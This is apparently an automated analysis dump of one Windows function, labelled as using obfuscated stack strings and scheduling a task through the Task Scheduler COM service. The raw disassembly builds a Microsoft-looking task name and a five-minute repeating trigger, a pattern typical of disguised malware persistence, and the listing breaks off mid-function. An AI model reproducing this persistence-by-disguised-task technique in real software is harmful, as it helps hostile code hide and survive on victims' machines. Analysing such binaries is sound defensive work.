Function at 0x10008d20
Capabilities:
Contain obfuscated stackstrings
Schedule task via itaskservice

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff8
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1003130b
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
push ebx
sub esp, 0x130
push ebx
push esi
push edi
mov dword [ebp - 0x10], esp
push 0
mov dword [ebp - 0xb8], 0
push 0
mov dword [ebp - 0x70], ecx
mov dword [ebp - 4], 0
call dword [sym.imp.ole32.dll_CoInitializeEx]
test eax, eax
je 0x10008d84
cmp eax, 1
jne 0x10008eae
lea eax, [ebp - 0x40]
mov dword [ebp - 0x40], 0
push eax
push 0x1003332c
push 1
push 0
push 0x1003334c
call dword [sym.imp.ole32.dll_CoCreateInstance]
test eax, eax
jne 0x10008ea8
mov edx, dword [ebp - 0x40]
sub esp, 0x10
xorps xmm0, xmm0
xorps xmm1, xmm1
xorps xmm2, xmm2
xorps xmm3, xmm3
mov eax, dword [edx]
mov ecx, dword [eax + 0x28]
mov eax, esp
sub esp, 0x10
movups xmmword [eax], xmm0
mov eax, esp
sub esp, 0x10
movups xmmword [eax], xmm1
mov eax, esp
sub esp, 0x10
movups xmmword [eax], xmm2
mov eax, esp
push edx
movups xmmword [eax], xmm3
call ecx
test eax, eax
mov eax, dword [ebp - 0x40]
js 0x10008ea2
mov dword [ebp - 0x20], 0
mov eax, dword [eax]
push 0xc
mov edi, dword [eax + 0x1c]
call fcn.10011fb0
mov esi, eax
add esp, 4
mov dword [ebp - 0x1c], esi
mov byte [ebp - 4], 1
test esi, esi
je 0x10008e35
push 0x10039ee0
mov dword [esi + 4], 0
mov dword [esi + 8], 1
call dword [sym.imp.OLEAUT32.dll_SysReAllocString]
mov dword [esi], eax
test eax, eax
je 0x1000a33f
jmp 0x10008e37
xor esi, esi
mov byte [ebp - 4], 0
mov dword [ebp - 0x1c], esi
test esi, esi
je 0x1000a349
lea eax, [ebp - 0x20]
mov byte [ebp - 4], 2
push eax
push dword [esi]
push dword [ebp - 0x40]
call edi
mov edi, eax
mov byte [ebp - 4], 0
or ecx, 0xffffffff
lock xadd dword [esi + 8], ecx
dec ecx
jne 0x10008e9b
mov eax, dword [esi]
test eax, eax
je 0x10008e79
push eax
call dword [sym.imp.OLEAUT32.dll_SysStringLen]
mov dword [esi], 0
mov eax, dword [esi + 4]
test eax, eax
je 0x10008e90
push eax
call fcn.10012003
add esp, 4
mov dword [esi + 4], 0
push 0xc
push esi
call fcn.10011fa2
add esp, 8
test edi, edi
jns 0x10008ec5
mov eax, dword [ebp - 0x40]
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
call dword [sym.imp.ole32.dll_CoUninitialize]
mov ebx, dword [ebp - 0x14]
mov ecx, dword [ebp - 0xc]
pop edi
mov dword fs:[0], ecx
pop esi
pop ebx
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
mov ecx, dword [ebp - 0x40]
lea edx, [ebp - 0x24]
push edx
mov dword [ebp - 0x24], 0
push 0
mov eax, dword [ecx]
push ecx
call dword [eax + 0x24]
mov ecx, dword [ebp - 0x40]
mov esi, eax
push ecx
mov edx, dword [ecx]
call dword [edx + 8]
test esi, esi
jns 0x10008eef
mov eax, dword [ebp - 0x20]
jmp 0x10008ea2
mov ecx, dword [ebp - 0x24]
lea edx, [ebp - 0x68]
mov dword [ebp - 0x68], 0
push edx
push ecx
mov eax, dword [ecx]
call dword [eax + 0x1c]
test eax, eax
jns 0x10008f15
mov eax, dword [ebp - 0x20]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
mov eax, dword [ebp - 0x24]
jmp 0x10008ea2
xor ecx, ecx
mov dword [ebp - 0x80], 0x7263694d
lea edx, [ebp - 0x80]
mov dword [ebp - 0x7c], 0x666f736f
lea esi, [ebp - 0x72]
mov dword [ebp - 0x78], 0x49552074
xor edi, edi
mov word [ebp - 0x74], 0x676e
xor eax, eax
mov dword [ebp - 0x4c], edi
mov dword [ebp - 0x30], ecx
mov dword [ebp - 0x48], ecx
mov dword [ebp - 0x44], eax
sub esi, edx
je 0x10008fb2
cmp esi, 0x7fffffff
ja 0x1000a353
cmp esi, 0x1000
jb 0x10008f87
lea eax, [esi + 0x23]
cmp eax, esi
jbe 0x1000a358
push eax
call fcn.10011fb0
add esp, 4
test eax, eax
je 0x1000a35d
lea edi, [eax + 0x23]
and edi, 0xffffffe0
mov dword [edi - 4], eax
jmp 0x10008f92
push esi
call fcn.10011fb0
add esp, 4
mov edi, eax
lea eax, [edi + esi]
mov dword [ebp - 0x4c], edi
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x44], eax
lea eax, [ebp - 0x80]
push esi
push eax
push edi
call fcn.10013ad0
mov ecx, dword [ebp - 0x30]
add esp, 0xc
mov dword [ebp - 0x48], ecx
mov eax, dword [ebp - 0x68]
mov eax, dword [eax]
mov eax, dword [eax + 0x28]
mov dword [ebp - 0x28], eax
mov byte [ebp - 4], 4
lea esi, [ebp - 0xd4]
xorps xmm0, xmm0
mov dword [ebp - 0xc4], 0
movups xmmword [ebp - 0xd4], xmm0
mov dword [ebp - 0xc0], 0xf
mov eax, edi
mov byte [ebp - 0xd4], 0
mov dword [ebp - 0xb8], 1
mov dword [ebp - 0x60], edi
nop dword [eax + eax]
cmp eax, ecx
je 0x10009057
mov al, byte [eax]
mov ecx, dword [esi + 0x10]
mov edx, dword [esi + 0x14]
mov byte [ebp - 0x2c], al
cmp ecx, edx
jae 0x10009039
lea eax, [ecx + 1]
mov dword [esi + 0x10], eax
mov eax, esi
cmp edx, 0xf
jbe 0x10009022
mov eax, dword [esi]
add eax, ecx
mov cl, byte [ebp - 0x2c]
mov byte [eax + 1], 0
mov byte [eax], cl
mov eax, dword [ebp - 0x60]
mov ecx, dword [ebp - 0x30]
inc eax
mov dword [ebp - 0x60], eax
jmp 0x10009000
push dword [ebp - 0x2c]
mov byte [ebp - 0x38], 0
push dword [ebp - 0x38]
push ecx
mov ecx, esi
call fcn.10007820
mov eax, dword [ebp - 0x60]
mov ecx, dword [ebp - 0x30]
inc eax
mov dword [ebp - 0x60], eax
jmp 0x10009000
cmp dword [ebp - 0xc0], 0xf
lea eax, [ebp - 0xd4]
lea ecx, [ebp - 0x64]
cmova eax, dword [ebp - 0xd4]
push eax
call fcn.10008c30
mov byte [ebp - 4], 5
mov eax, dword [eax]
test eax, eax
je 0x10009082
mov eax, dword [eax]
jmp 0x10009084
xor eax, eax
push eax
push dword [ebp - 0x68]
call dword [ebp - 0x28]
mov esi, dword [ebp - 0x64]
mov dword [ebp - 0x28], eax
test esi, esi
je 0x100090e0
or ecx, 0xffffffff
lock xadd dword [esi + 8], ecx
dec ecx
jne 0x100090d9
test esi, esi
je 0x100090d9
mov eax, dword [esi]
test eax, eax
je 0x100090b7
push eax
call dword [sym.imp.OLEAUT32.dll_SysStringLen]
mov dword [esi], 0
mov eax, dword [esi + 4]
test eax, eax
je 0x100090ce
push eax
call fcn.10012003
add esp, 4
mov dword [esi + 4], 0
push 0xc
push esi
call fcn.10011fa2
add esp, 8
mov dword [ebp - 0x64], 0
mov eax, 1
mov byte [ebp - 4], 3
mov ecx, dword [ebp - 0xc0]
and eax, 0xfffffffe
mov dword [ebp - 0x38], eax
cmp ecx, 0xf
jbe 0x10009129
mov edx, dword [ebp - 0xd4]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x1000911f
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1000a35d
push ecx
push edx
call fcn.10011fa2
add esp, 8
mov eax, dword [ebp - 0x68]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
cmp dword [ebp - 0x28], 0
jge 0x1000918a
mov eax, dword [ebp - 0x20]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
mov eax, dword [ebp - 0x24]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
call dword [sym.imp.ole32.dll_CoUninitialize]
test edi, edi
je 0x10008eae
mov ecx, dword [ebp - 0x44]
mov eax, edi
sub ecx, edi
cmp ecx, 0x1000
jb 0x1000917b
mov edi, dword [eax - 4]
add ecx, 0x23
sub eax, edi
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1000a3ad
push ecx
push edi
call fcn.10011fa2
add esp, 8
jmp 0x10008eae
mov ecx, dword [ebp - 0x24]
lea edx, [ebp - 0xb4]
mov dword [ebp - 0xb4], 0
push edx
push ecx
mov eax, dword [ecx]
call dword [eax + 0x24]
test eax, eax
jns 0x100091fa
mov eax, dword [ebp - 0x20]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
mov eax, dword [ebp - 0x24]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
call dword [sym.imp.ole32.dll_CoUninitialize]
test edi, edi
je 0x10008eae
mov ecx, dword [ebp - 0x44]
mov eax, edi
sub ecx, edi
cmp ecx, 0x1000
jb 0x100091eb
mov edi, dword [eax - 4]
add ecx, 0x23
sub eax, edi
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1000a3ad
push ecx
push edi
call fcn.10011fa2
add esp, 8
jmp 0x10008eae
mov ecx, dword [ebp - 0xb4]
lea edx, [ebp - 0xb0]
push edx
mov dword [ebp - 0xb0], 0
push 2
mov eax, dword [ecx]
push ecx
call dword [eax + 0x28]
mov ecx, dword [ebp - 0xb4]
mov esi, eax
push ecx
mov edx, dword [ecx]
call dword [edx + 8]
test esi, esi
jns 0x1000927d
mov eax, dword [ebp - 0x20]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
mov eax, dword [ebp - 0x24]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
call dword [sym.imp.ole32.dll_CoUninitialize]
test edi, edi
je 0x10008eae
mov ecx, dword [ebp - 0x44]
mov eax, edi
sub ecx, edi
cmp ecx, 0x1000
jb 0x1000926e
mov edi, dword [eax - 4]
add ecx, 0x23
sub eax, edi
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1000a3ad
push ecx
push edi
call fcn.10011fa2
add esp, 8
jmp 0x10008eae
mov ecx, dword [ebp - 0xb0]
lea edx, [ebp - 0x3c]
push edx
mov dword [ebp - 0x3c], 0
push 0x1003331c
mov eax, dword [ecx]
push ecx
call dword [eax]
mov ecx, dword [ebp - 0xb0]
mov esi, eax
push ecx
mov edx, dword [ecx]
call dword [edx + 8]
test esi, esi
jns 0x100092fc
mov eax, dword [ebp - 0x20]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
mov eax, dword [ebp - 0x24]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
call dword [sym.imp.ole32.dll_CoUninitialize]
test edi, edi
je 0x10008eae
mov ecx, dword [ebp - 0x44]
mov eax, edi
sub ecx, edi
cmp ecx, 0x1000
jb 0x100092ed
mov edi, dword [eax - 4]
add ecx, 0x23
sub eax, edi
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1000a3ad
push ecx
push edi
call fcn.10011fa2
add esp, 8
jmp 0x10008eae
xor eax, eax
mov dword [ebp - 0xa4], 0x33323043
mov dword [ebp - 0x54], eax
lea esi, [ebp - 0xa4]
xor ecx, ecx
mov dword [ebp - 0xa0], 0x46423539
xor edx, edx
mov dword [ebp - 0x9c], 0x4234332d
lea eax, [ebp - 0x80]
mov dword [ebp - 0x98], 0x31342d42
sub eax, esi
mov dword [ebp - 0x94], 0x392d4145
mov dword [ebp - 0x90], 0x2d373838
mov dword [ebp - 0x8c], 0x34434141
mov dword [ebp - 0x88], 0x41304541
mov dword [ebp - 0x84], 0x41453142
mov dword [ebp - 0x2c], ecx
mov dword [ebp - 0x5c], ecx
mov dword [ebp - 0x30], edx
mov dword [ebp - 0x58], edx
mov dword [ebp - 0x28], eax
je 0x100093f6
cmp eax, 0x7fffffff
ja 0x1000a362
cmp eax, 0x1000
jb 0x100093b4
lea ecx, [eax + 0x23]
cmp ecx, eax
jbe 0x1000a367
push ecx
call fcn.10011fb0
add esp, 4
test eax, eax
je 0x1000a35d
lea esi, [eax + 0x23]
and esi, 0xffffffe0
mov dword [esi - 4], eax
jmp 0x100093bf
push eax
call fcn.10011fb0
add esp, 4
mov esi, eax
mov ecx, dword [ebp - 0x28]
push ecx
mov dword [ebp - 0x2c], esi
mov dword [ebp - 0x5c], esi
lea eax, [esi + ecx]
mov dword [ebp - 0x54], eax
lea eax, [ebp - 0xa4]
push eax
push esi
call fcn.10013ad0
lea eax, [ebp - 0xa4]
mov edx, esi
sub edx, eax
add esp, 0xc
lea eax, [ebp - 0x80]
mov ecx, esi
add edx, eax
mov dword [ebp - 0x30], edx
mov dword [ebp - 0x58], edx
mov eax, dword [ebp - 0x3c]
mov eax, dword [eax]
mov eax, dword [eax + 0x24]
mov dword [ebp - 0x1c], eax
mov byte [ebp - 4], 7
lea esi, [ebp - 0xec]
mov eax, dword [ebp - 0x38]
xorps xmm0, xmm0
or eax, 2
mov dword [ebp - 0xdc], 0
movups xmmword [ebp - 0xec], xmm0
mov dword [ebp - 0xb8], eax
mov eax, ecx
mov dword [ebp - 0xd8], 0xf
mov byte [ebp - 0xec], 0
mov dword [ebp - 0x60], ecx
cmp eax, edx
je 0x10009498
mov al, byte [eax]
mov ecx, dword [esi + 0x10]
mov edx, dword [esi + 0x14]
mov byte [ebp - 0x64], al
cmp ecx, edx
jae 0x1000947a
lea eax, [ecx + 1]
mov dword [esi + 0x10], eax
mov eax, esi
cmp edx, 0xf
jbe 0x10009463
mov eax, dword [esi]
mov edx, dword [ebp - 0x30]
add eax, ecx
mov cl, byte [ebp - 0x64]
mov byte [eax], cl
mov byte [eax + 1], 0
mov eax, dword [ebp - 0x60]
inc eax
mov dword [ebp - 0x60], eax
jmp 0x10009441
push dword [ebp - 0x64]
mov byte [ebp - 0x28], 0
push dword [ebp - 0x28]
push ecx
mov ecx, esi
call fcn.10007820
mov eax, dword [ebp - 0x60]
mov edx, dword [ebp - 0x30]
inc eax
mov dword [ebp - 0x60], eax
jmp 0x10009441
cmp dword [ebp - 0xd8], 0xf
lea eax, [ebp - 0xec]
lea ecx, [ebp - 0x38]
cmova eax, dword [ebp - 0xec]
push eax
call fcn.10008c30
mov byte [ebp - 4], 8
mov eax, dword [eax]
test eax, eax
je 0x100094c3
mov eax, dword [eax]
jmp 0x100094c5
xor eax, eax
push eax
push dword [ebp - 0x3c]
call dword [ebp - 0x1c]
mov esi, dword [ebp - 0x38]
test esi, esi
je 0x1000951e
or eax, 0xffffffff
lock xadd dword [esi + 8], eax
dec eax
jne 0x10009517
test esi, esi
je 0x10009517
mov eax, dword [esi]
test eax, eax
je 0x100094f5
push eax
call dword [sym.imp.OLEAUT32.dll_SysStringLen]
mov dword [esi], 0
mov eax, dword [esi + 4]
test eax, eax
je 0x1000950c
push eax
call fcn.10012003
add esp, 4
mov dword [esi + 4], 0
push 0xc
push esi
call fcn.10011fa2
add esp, 8
mov dword [ebp - 0x38], 0
mov byte [ebp - 4], 6
mov ecx, dword [ebp - 0xd8]
cmp ecx, 0xf
jbe 0x1000955c
mov edx, dword [ebp - 0xec]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x10009552
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1000a36c
push ecx
push edx
call fcn.10011fa2
add esp, 8
mov eax, dword [ebp - 0x3c]
push 0xc
mov eax, dword [eax]
mov eax, dword [eax + 0x3c]
mov dword [ebp - 0x1c], eax
call fcn.10011fb0
mov esi, eax
add esp, 4
mov dword [ebp - 0x28], esi
mov byte [ebp - 4], 9
test esi, esi
je 0x100095a3
push str.2023_03_05T09:00:00
mov dword [esi + 4], 0
mov dword [esi + 8], 1
call dword [sym.imp.OLEAUT32.dll_SysReAllocString]
mov dword [esi], eax
test eax, eax
je 0x1000a371
jmp 0x100095a5
xor esi, esi
mov byte [ebp - 4], 6
mov dword [ebp - 0x28], esi
test esi, esi
je 0x1000a37b
mov byte [ebp - 4], 0xa
push dword [esi]
push dword [ebp - 0x3c]
call dword [ebp - 0x1c]
mov byte [ebp - 4], 6
or eax, 0xffffffff
lock xadd dword [esi + 8], eax
dec eax
jne 0x10009604
mov eax, dword [esi]
test eax, eax
je 0x100095e2
push eax
call dword [sym.imp.OLEAUT32.dll_SysStringLen]
mov dword [esi], 0
mov eax, dword [esi + 4]
test eax, eax
je 0x100095f9
push eax
call fcn.10012003
add esp, 4
mov dword [esi + 4], 0
push 0xc
push esi
call fcn.10011fa2
add esp, 8
mov ecx, dword [ebp - 0x3c]
push 1
push ecx
mov eax, dword [ecx]
call dword [eax + 0x54]
test eax, eax
jns 0x100096a6
mov eax, dword [ebp - 0x20]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
mov eax, dword [ebp - 0x3c]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
mov eax, dword [ebp - 0x24]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
call dword [sym.imp.ole32.dll_CoUninitialize]
mov ecx, dword [ebp - 0x2c]
test ecx, ecx
je 0x1000966c
mov edx, dword [ebp - 0x54]
mov eax, ecx
sub edx, ecx
cmp edx, 0x1000
jb 0x10009662
mov ecx, dword [eax - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1000a3ad
push edx
push ecx
call fcn.10011fa2
add esp, 8
test edi, edi
je 0x10008eae
mov ecx, dword [ebp - 0x44]
mov eax, edi
sub ecx, edi
cmp ecx, 0x1000
jb 0x10009697
mov edi, dword [eax - 4]
add ecx, 0x23
sub eax, edi
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1000a3ad
push ecx
push edi
call fcn.10011fa2
add esp, 8
jmp 0x10008eae
mov ecx, dword [ebp - 0x3c]
lea edx, [ebp - 0x6c]
mov dword [ebp - 0x6c], 0
push edx
push ecx
mov eax, dword [ecx]
call dword [eax + 0x28]
mov ecx, dword [ebp - 0x3c]
mov esi, eax
push ecx
mov edx, dword [ecx]
call dword [edx + 8]
test esi, esi
jns 0x10009753
mov eax, dword [ebp - 0x20]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
mov eax, dword [ebp - 0x24]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
call dword [sym.imp.ole32.dll_CoUninitialize]
mov ecx, dword [ebp - 0x2c]
test ecx, ecx
je 0x10009719
mov edx, dword [ebp - 0x54]
mov eax, ecx
sub edx, ecx
cmp edx, 0x1000
jb 0x1000970f
mov ecx, dword [eax - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1000a3ad
push edx
push ecx
call fcn.10011fa2
add esp, 8
test edi, edi
je 0x10008eae
mov ecx, dword [ebp - 0x44]
mov eax, edi
sub ecx, edi
cmp ecx, 0x1000
jb 0x10009744
mov edi, dword [eax - 4]
add ecx, 0x23
sub eax, edi
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1000a3ad
push ecx
push edi
call fcn.10011fa2
add esp, 8
jmp 0x10008eae
mov eax, dword [ebp - 0x6c]
push 0xc
mov eax, dword [eax]
mov eax, dword [eax + 0x20]
mov dword [ebp - 0x1c], eax
call fcn.10011fb0
mov esi, eax
add esp, 4
mov dword [ebp - 0x28], esi
mov byte [ebp - 4], 0xb
test esi, esi
je 0x1000979a
push str.PT5M
mov dword [esi + 4], 0
mov dword [esi + 8], 1
call dword [sym.imp.OLEAUT32.dll_SysReAllocString]
mov dword [esi], eax
test eax, eax
je 0x1000a385
jmp 0x1000979c
xor esi, esi
mov byte [ebp - 4], 6
mov dword [ebp - 0x28], esi
test esi, esi
je 0x1000a38f
mov byte [ebp - 4], 0xc
push dword [esi]
push dword [ebp - 0x6c]
call dword [ebp - 0x1c]
mov dword [ebp - 0x1c], eax
or ecx, 0xffffffff
mov byte [ebp - 4], 6
lock xadd dword [esi + 8], ecx
dec ecx
jne 0x100097fe
mov eax, dword [esi]
test eax, eax
je 0x100097dc
push eax
call dword [sym.imp.OLEAUT32.dll_SysStringLen]
mov dword [esi], 0
mov eax, dword [esi + 4]
test eax, eax
je 0x100097f3
push eax
call fcn.10012003
add esp, 4
mov dword [esi + 4], 0
push 0xc
push esi
call fcn.10011fa2
add esp, 8
mov eax, dword [ebp - 0x6c]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
cmp dword [ebp - 0x1c], 0
jge 0x10009897
mov eax, dword [ebp - 0x20]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
mov eax, dword [ebp - 0x24]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
call dword [sym.imp.ole32.dll_CoUninitialize]
mov ecx, dword [ebp - 0x2c]
test ecx, ecx
je 0x1000985d
mov edx, dword [ebp - 0x54]
mov eax, ecx
sub edx, ecx
cmp edx, 0x1000
jb 0x10009853
mov ecx, dword [eax - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1000a3ad
push edx
push ecx
call fcn.10011fa2
add esp, 8
test edi, edi
je 0x10008eae
mov ecx, dword [ebp - 0x44]
mov eax, edi
sub ecx, edi
cmp ecx, 0x1000
jb 0x10009888
mov edi, dword [eax - 4]
add ecx, 0x23
sub eax, edi
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1000a3ad
push ecx
push edi
call fcn.10011fa2
add esp, 8
jmp 0x10008eae
mov ecx, dword [ebp - 0x24]
lea edx, [ebp - 0x34]
mov dword [ebp - 0x34], 0
push edx
push ecx
mov eax, dword [ecx]
call dword [eax + 0x2c]
test eax, eax
js 0x10009cc3
mov ecx, dword [ebp - 0x34]
lea edx, [ebp - 0x30]
mov dword [ebp - 0x30], 0
push edx
push ecx
mov eax, dword [ecx]
call dword [eax + 0x9c]
mov ecx, dword [ebp - 0x34]
mov esi, eax
push ecx
mov edx, dword [ecx]
call dword [edx + 8]
test esi, esi
jns 0x1000996c
mov eax, dword [ebp - 0x34]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
mov eax, dword [ebp - 0x20]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
mov eax, dword [ebp - 0x24]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
call dword [sym.imp.ole32.dll_CoUninitialize]
mov ecx, dword [ebp - 0x2c]
test ecx, ecx
je 0x10009932
mov edx, dword [ebp - 0x54]
mov eax, ecx
sub edx, ecx
cmp edx, 0x1000
jb 0x10009928
mov ecx, dword [eax - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1000a3ad
push edx
push ecx
call fcn.10011fa2
add esp, 8
test edi, edi
je 0x10008eae
mov ecx, dword [ebp - 0x44]
mov eax, edi
sub ecx, edi
cmp ecx, 0x1000
jb 0x1000995d
mov edi, dword [eax - 4]
add ecx, 0x23
sub eax, edi
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1000a3ad
push ecx
push edi
call fcn.10011fa2
add esp, 8
jmp 0x10008eae
mov eax, dword [ebp - 0x30]
push 0xc
mov eax, dword [eax]
mov eax, dword [eax + 0x28]
mov dword [ebp - 0x1c], eax
call fcn.10011fb0
mov esi, eax
add esp, 4
mov dword [ebp - 0x28], esi
mov byte [ebp - 4], 0xd
test esi, esi
je 0x100099b3
push str.PT24H
mov dword [esi + 4], 0
mov dword [esi + 8], 1
call dword [sym.imp.OLEAUT32.dll_SysReAllocString]
mov dword [esi], eax
test eax, eax
je 0x1000a399
jmp 0x100099b5
xor esi, esi
mov byte [ebp - 4], 6
mov dword [ebp - 0x28], esi
test esi, esi
je 0x1000a3a3
mov byte [ebp - 4], 0xe
push dword [esi]
push dword [ebp - 0x30]
call dword [ebp - 0x1c]
mov dword [ebp - 0x1c], eax
or ecx, 0xffffffff
mov byte [ebp - 4], 6
lock xadd dword [esi + 8], ecx
dec ecx
jne 0x10009a1a
mov eax, dword [esi]
test eax, eax
je 0x100099f5
push eax
call dword [sym.imp.OLEAUT32.dll_SysStringLen]
mov dword [esi], 0
mov eax, dword [esi + 4]
test eax, eax
je 0x10009a0c
push eax
call fcn.10012003
add esp, 4
mov dword [esi + 4], 0
push 0xc
push esi
call fcn.10011fa2
mov eax, dword [ebp - 0x1c]
add esp, 8
test eax, eax
jns 0x10009aba
mov eax, dword [ebp - 0x20]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
mov eax, dword [ebp - 0x34]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
mov eax, dword [ebp - 0x24]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
mov eax, dword [ebp - 0x30]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
call dword [sym.imp.ole32.dll_CoUninitialize]
mov ecx, dword [ebp - 0x2c]
test ecx, ecx
je 0x10009a80
mov edx, dword [ebp - 0x54]
mov eax, ecx
sub edx, ecx
cmp edx, 0x1000
jb 0x10009a76
mov ecx, dword [eax - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1000a3ad
push edx
push ecx
call fcn.10011fa2
add esp, 8
test edi, edi
je 0x10008eae
mov ecx, dword [ebp - 0x44]
mov eax, edi
sub ecx, edi
cmp ecx, 0x1000
jb 0x10009aab
mov edi, dword [eax - 4]
add ecx, 0x23
sub eax, edi
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1000a3ad
push ecx
push edi
call fcn.10011fa2
add esp, 8
jmp 0x10008eae
mov ecx, dword [ebp - 0x30]
push 0
push ecx
mov eax, dword [ecx]
call dword [eax + 0x30]
test eax, eax
jns 0x10009b65
mov eax, dword [ebp - 0x34]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
mov eax, dword [ebp - 0x20]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
mov eax, dword [ebp - 0x24]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
mov eax, dword [ebp - 0x30]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
call dword [sym.imp.ole32.dll_CoUninitialize]
mov ecx, dword [ebp - 0x2c]
test ecx, ecx
je 0x10009b2b
mov edx, dword [ebp - 0x54]
mov eax, ecx
sub edx, ecx
cmp edx, 0x1000
jb 0x10009b21
mov ecx, dword [eax - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1000a3ad
push edx
push ecx
call fcn.10011fa2
add esp, 8
test edi, edi
je 0x10008eae
mov ecx, dword [ebp - 0x44]
mov eax, edi
sub ecx, edi
cmp ecx, 0x1000
jb 0x10009b56
mov edi, dword [eax - 4]
add ecx, 0x23
sub eax, edi
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1000a3ad
push ecx
push edi
call fcn.10011fa2
add esp, 8
jmp 0x10008eae
mov ecx, dword [ebp - 0x34]
push 0
push ecx
mov eax, dword [ecx]
call dword [eax + 0x48]
test eax, eax
jns 0x10009c10
mov eax, dword [ebp - 0x34]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
mov eax, dword [ebp - 0x20]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
mov eax, dword [ebp - 0x24]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
mov eax, dword [ebp - 0x30]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
call dword [sym.imp.ole32.dll_CoUninitialize]
mov ecx, dword [ebp - 0x2c]
test ecx, ecx
je 0x10009bd6
mov edx, dword [ebp - 0x54]
mov eax, ecx
sub edx, ecx
cmp edx, 0x1000
jb 0x10009bcc
mov ecx, dword [eax - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1000a3ad
push edx
push ecx
call fcn.10011fa2
add esp, 8
test edi, edi
je 0x10008eae
mov ecx, dword [ebp - 0x44]
mov eax, edi
sub ecx, edi
cmp ecx, 0x1000
jb 0x10009c01
mov edi, dword [eax - 4]
add ecx, 0x23
sub eax, edi
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1000a3ad
push ecx
push edi
call fcn.10011fa2
add esp, 8
jmp 0x10008eae
mov ecx, dword [ebp - 0x34]
push 0
push ecx
mov eax, dword [ecx]
call dword [eax + 0x40]
test eax, eax
jns 0x10009cb5
mov eax, dword [ebp - 0x34]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
mov eax, dword [ebp - 0x20]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
mov eax, dword [ebp - 0x24]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
mov eax, dword [ebp - 0x30]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
call dword [sym.imp.ole32.dll_CoUninitialize]
mov ecx, dword [ebp - 0x2c]
test ecx, ecx
je 0x10009c81
mov edx, dword [ebp - 0x54]
mov eax, ecx
sub edx, ecx
cmp edx, 0x1000
jb 0x10009c77
mov ecx, dword [eax - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1000a3ad
push edx
push ecx
call fcn.10011fa2
add esp, 8
test edi, edi
je 0x10008eae
mov ecx, dword [ebp - 0x44]
mov eax, edi
sub ecx, edi
cmp ecx, 0x1000
jb 0x1000917b
mov edi, dword [eax - 4]
add ecx, 0x23
sub eax, edi
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1000a3ad
jmp 0x1000917b
mov ecx, dword [ebp - 0x34]
push 6
push ecx
mov eax, dword [ecx]
call dword [eax + 0x88]
mov ecx, dword [ebp - 0x24]
lea edx, [ebp - 0xac]
mov dword [ebp - 0xac], 0
push edx
push ecx
mov eax, dword [ecx]
